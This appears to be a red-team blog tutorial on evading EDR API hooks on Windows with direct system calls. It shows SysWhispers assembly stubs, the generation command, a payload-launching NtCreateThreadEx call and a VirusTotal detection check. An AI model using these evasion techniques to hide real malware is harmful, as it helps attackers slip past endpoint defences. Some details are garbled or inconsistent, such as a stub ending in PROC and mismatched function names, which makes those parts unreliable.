What is a System Call?
At the assembly level, a system call is a specific instruction embedded in a syscall stub. This instruction facilitates a temporary transition, known as a CPU switch, from user mode to kernel mode following the execution of code in the user mode of Windows, within the context of the corresponding Windows API. Essentially, the system call serves as the interface connecting a user mode process to the task that needs to be performed in the Windows kernel.
Each system call can be found by its own syscall ID and is associated with a specific native API in Windows. However, the syscall ID can vary from one version of Windows to another.
What is a Direct System Call?
Is a technique that allows an attacker to execute malicious code, in the context of APIs on Windows in such a way that the system call is not obtained via ntdll.dll
, instead this system call is passed as a stub inside the PE’s resource section .rsc or .txt section in form of the assembly instructions.
Syscalls hooking by EDR can be evaded by obtaining the syscall function coded in the assembly language and calling that crafted syscall directly from within the assembly file.
The System Service Number (SSN) varies from system to system. To overcome this problem, the SSN can be either :
- Hard-coded in the assembly file
- Calculated dynamically during runtime
Tools suchs as syswhispers, Hell’s Gate, Hallo’s Gate, Tartarus’s Gate, can be utilized in this techniques
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, (SSN of NtAllocateVirtualMemory)
syscall
ret
NtAllocateVirtualMemory PROC
NtProtectVirtualMemory PROC
mov r10, rcx
mov eax, (SSN of NtProtectVirtualMemory)
syscall
ret
NtProtectVirtualMemory ENDP
KiSystemCall/KiSystemCall64 in the Windows kernel, is responsible for querying the System Service Descriptor Table (SSDT) for the appropriate function code based on the executed system call ID (index number in the EAX register)
Why Direct System Calls?
Both AV and EDR products rely on different defence mechanisms to protect against malware. To dynamically inspect potentially malicious code in the context of Windows APIs, most EDRs today implement the principle of user-mode API hooking.
Under Windows, the following types of hooking can be distinguished, among others:
- Inline API hooking
- Import Adress Table (IAT) hooking
- SSDT hooking (Windows Kernel)
SysWhispers
SysWhispers is a toolkit developed for Windows operating systems that facilitates direct syscall invocation. By directly making syscalls, developers can bypass standard API calls, which can be useful for various purposes, including low-level system manipulation and rootkit development. SysWhisper comes in three versions, each with its own set of features and capabilities.
1) SysWhispers1 - The first version of SysWhispers laid the foundation for direct syscall invocation on Windows systems. It provided a basic understanding of how to make syscalls directly, bypassing the traditional API calls. The SSNs are retrieved from Windows System Syscall Table and hardcoded in the asm files generated by SysWhispers1
.code
NtAllocateVirtualMemory PROC
mov rax, gs:[60h] ; Load PEB into RAX
NtAllocateVirtualMemory_Check_X_X_XXXX: ; Check major version
cmp dword ptr [rax+118h], 5
je NtAllocateVirtualMemory_SystemCall_5_X_XXXX
cmp dword ptr [rax+118h], 6
je NtAllocateVirtualMemory_Check_6_X_XXXX
cmp dword ptr [rax+118h], 10
je NtAllocateVirtualMemory_Check_10_0_XXXX
jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX: ; Windows XP and Server2003
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_0_6000: ; Windows Vista SP0
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_1_7600: ; Windows 7 SP0
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012
mov eax, 0016h
jmp NtAllocateVirtualMemory_Epilogue
As you can see, System Service Number (SSN) values for every supported Windows version are hardcoded in the asm file.
2) SysWhispers2 - The second version improved upon the original by introducing dynamic syscall resolution. This means that it could automatically identify and invoke syscalls on various Windows versions, providing a more versatile and user-friendly experience
.data
currentHash DWORD 0
.code
EXTERN SW2_GetSyscallNumber: PROC
WhisperMain PROC
pop rax
mov [rsp+ 8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, currentHash
call SW2_GetSyscallNumber
add rsp, 28h
mov rcx, [rsp+ 8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Issue syscall
ret
WhisperMain ENDP
Syswhispers2 is able to dynamically find the SSN values. SysWhispers2 uses sorting by system call address method to find the SSN. This is done by finding all syscalls starting with Zw and saving their address in an array in ascending order. The SSN will become the index of the system call stored in the array.
3) SysWhispers3 - Unlike its predecessors, SysWhispers3 makes direct syscalls where it searches for syscall instruction ntdll address space and jumps to that instruction instead of directly invoking it. It also includes a jumper randomizer which searches for random functions’ syscall instruction and jumps to them. So in summary the instruction belongs to another function.
.code
EXTERN SW3_GetSyscallNumber: PROC
NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03DB04B4Fh ; Load function hash into ECX.
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAllocateVirtualMemory ENDP
End
This asm file calls SW3_GetSyscallAddress which is defined in a C file that SysWhispers3 generates:
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash){
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
It calls SW3_PopulateSyscallList function to populate the syscall list and then searches through it for the target function.
As an example we will be using SysWhispers3 to invoke direct syscall on NtAllocateVirtualMemory as a PoC to see whether our edr.dll can hook it or not.
Direct SysCall (SysWhispers3)
We will be using SysWhispers3 to invoke direct syscall on :
- NtAllocateVirtualMemory
- NtProtectVirtualMemory
- NtCreateThreadEx
- NtWaitForMultipleObjects
python syswhispers.py -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,NtWaitForMultipleObjects -o POC/poc
This command generates three files: poc.c, poc.h and poc-asm/x64.asm. When we have a look at the code we can see that the Nt functions are defined like the NtInternals NTAPI Undocumented Functions, to make sure the functions behave the same as their NTDLL counterparts. As an example we will have a look at the NtProtectVirtualMemory function. We can see the SysWhispers3 version side by side with the NTDLL version.
As we can see in the table, the definition is the same, but the assembly instructions are a bit different. The NTDLL version checks if the loaded function name is correct, which is an extra error check. The SysWhispers version first saves the used registers to restore them afterwards, this restoration is included to not disrupt the normal program flow.
Instead of loading the syscall number, the SysWhispers version calls the function SW3_GetSyscallNumber. This is the function that looks for the correct syscall number based on the function name, and stores the number in the eax register. Looking for the syscall numbers in the list is the part which makes the code compatible with all Windows versions. We can see that the assembly syntax is different, but, as shown, the semantics are the same.
Implementing the functions
The functions can be used by including the poc.h header. The next step is to replace all the occurrences of the functions with their Nt counterpart. The following codeblock shows the a version for the CreateThread
// Using direct syscall
HANDLE hHostThread = INVALID_HANDLE_VALUE;
NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
Before using NtCreateThreadEx the current process handle has to be obtained and a thread handle has to be initialized.
Viewing the Import Address Table in Memory
Once, all the occurences of our suspicious functions are replaced, we can view the populated IAT using WinDBG. We start by listing the loaded modules in memory;
lm
Then use the dump header (dh) command to find the offset of the IAT;
!dh 00007ff7`c42d0000 -f
The import table can then be dumped using the dps command
dps 00007ff7`c42d0000+4000
So, just by looking at the IAT, we can see that all suspicious functions are no longer imported. AV software also analyses the IAT to determine if an application might have malicious intent.
The final step is to check if the payload works as intended.
As you can see it’s working. But detected by AVs.
https://www.virustotal.com/gui/file/31b263e9e0194fd7827a0a6adbb81cb8de7cb652995aba1e941856155ae8f015/detection
As you can see, only 19 of 72 AV engines detect our file as malicious
Sources
- https://www.jstage.jst.go.jp/article/ipsjjip/25/0/25_866/_pdf
- https://institute.sektor7.net/red-team-operator-malware-development-essentials
- https://institute.sektor7.net/rto-maldev-intermediate
- https://www.bordergate.co.uk/import-address-tables/
- https://hadess.io/blog/